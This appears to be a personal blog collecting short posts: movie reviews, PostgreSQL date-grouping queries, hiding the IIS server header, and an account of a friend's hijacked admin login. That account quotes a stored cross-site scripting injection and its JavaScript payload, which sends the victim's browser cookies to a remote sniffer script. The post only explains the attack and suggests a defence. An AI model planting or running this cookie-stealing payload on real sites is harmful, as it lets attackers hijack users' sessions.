Cloverfield

in two few words. good packing 🙂 it does not have a new story or new outstanding style. but in this movie somehow I open my eyes and watch without blinking 🙂 maybe because it was something like quake game. like you are one of the player in the movie. it does not telling you a story. this movie taking you into the eyes of someone in the story.

it has a high tempo and I was like this “what was that” “what just happened” “what”. I can give 7 out of 10.

Job interview

one time somebody asked me to write a code which will solve Fibonacci numbers. and I looked at the paper and after 5 secs. I told him to look at the Google this is the oldest question in the book.

I know there are some people who thinks programmer has to know this. I am not one of them actually I always like to write new things. who care the solution of Fibonacci in real world computer problems. I know what it is and how to solve it thats enough for me.

if you like to memorize that code or one of the fan of Fibonacci check this out:
http://www.hanselman.com/blog/TheWeeklySourceCode13FibonacciEdition.aspx

still I find c# 2 implementation better than others.

Postgresql group by day, week and month examples

at the end of any product there will be a reporting interfaces for counts. let say you build a advertisement site which gives people to publish their products on the site. they will want to see how many people visited their product in daily basis or weekly.

I used to do this in mysql like this

SELECT create_time as Date, count(id) as ‘Count’, FROM
views_of_product
group by date_format(create_time, ‘%d %m %Y’)
order by date_format(create_time, ‘%Y-%m-%d’) desc limit 7

this will nicely show last seven days views. but I needed to do same thing in postgresql. and like other days its not easily to find. I should check other report codes from project but no I allways research on google 🙂 anyway here is my code:

select to_char(created, ‘YYYY-MM-DD’) ,count(id)
from videos_capture
group by to_char(created, ‘YYYY-MM-DD’)
order by to_char(created, ‘YYYY-MM-DD’) desc limit 7

its not bad actually works like a charm but understanding this code is not that easy. after I found this I started to implement needs and see better and easy to understand solutions.

weekly count example. this will show new users weekly parts for last 3 months:

SELECT date_trunc(‘week’, created) AS “Week” , count(id) AS “New Users”
FROM users
WHERE created > now() – interval ‘3 months’
GROUP BY “Week”
ORDER BY “Week”

yearly example. this will show monthly 1 year users:

SELECT date_trunc(‘month’, created) AS “Month” , count(id) AS “New Users”
FROM users
WHERE created > now() – interval ‘1 year’
GROUP BY “Month”
ORDER BY “Month”

I must say understanding postgresql’s sql more easy then mysql.

I am legend

I know this is little bit old movie and I watch it again. at first it has a perfect production they duplicate entire city for this that is good. secondly it gives a nice idea about bob marley and peace. at the end its still a copycat scenario of some movie.

I started to think about really there will be a virus for end 🙂

Hitman vs Rambo 4

first I watch rambo 4 after a long time seeing someone from your childhood was good feeling at the end it was not bad. I was fell a sleep in that last rocky movie 🙂

hitman is a real good movie. they stick to the character and stuff just like the game. but I must say that game was boring for me it was too quite. I like to have more noise 🙂 quake rulez…. anyway at the end hitman was a good movie.

in my opinion Rambo probably would kick hitman’s ass 🙂 ofcourse if he does not bring out a needle. he does have tricks 🙂

Sweden must be a good place

I have been searching which movie coming out and how is going the media. anyway somehow I find myself reading letters between thepiratebay.org and big firm’s law departments. for example apple and microsoft and dreamworks. you name it 🙂 who has a big firm and a production sent them a mail and they respond to these mails as rude as possible 🙂

I dunno this story is true or lie but I like these words exactly from letters:

As you may or may not be aware, Sweden is not a state in the United States
of America. Sweden is a country in northern Europe.
Unless you figured it out by now, US law does not apply here.
For your information, no Swedish law is being violated.

after now I am fan of Sweden 🙂

ISAPI and IIS Server Header

IIS puts “Server:Microsoft-IIS6” or something like this string into the returned header from server in http. that is somehow a security hole because a person who is interested in doing bad things or anything to some server its first rule for them to learn what are they dealing with.

so I needed to close this way. I made a research but its kinda old old old articles everywhere and not most of them useful. here is my solution. at the end these is source code included for Xmask I tried to change this server header to something else like “Server:Mascix” but it did not work I dunno why but at the end it cleaned what I wanted 🙂

A small hack story

One of my friend came to me and told me he lost his admin user while he was browsing the web site. I was surprised because normally it does not happen. if that site was using asp.net 🙂 its sad but true asp.net does not allow html inclusion in post data. anyway the hacker puts a script code into his name field like this:

src="http://inso.host.sk/sniffer/c.js"></script>

its not a big deal if you look the output of this script you will see this:

a=new/**/Image();a.src=’http://inso.host.sk/sniffer/s.php?a=’+escape(document.cookie);

at the end it stoles browser’s cookie and send it to a php file. while the hacker browsing another url and see which fish got fall for a trick 🙂 anyway today I made a research and found a solution to this situation:

https://addons.mozilla.org/en-US/firefox/addon/722

you should simply disable all js inclusions in the page except the domain. that will make your browser more secure.

Good Code vs Bad Code

Sometime I talk with my programmer friends about data structure and design patterns and good code. I think there is good code but it does not matter if you see it at first it takes sometime to understand it. thats why if you start swearing at someone’s code who worked the place before you. no matter how was good that code was. here is a good explanation of that situation 🙂
at the end there is no looking at code and not swearing 😀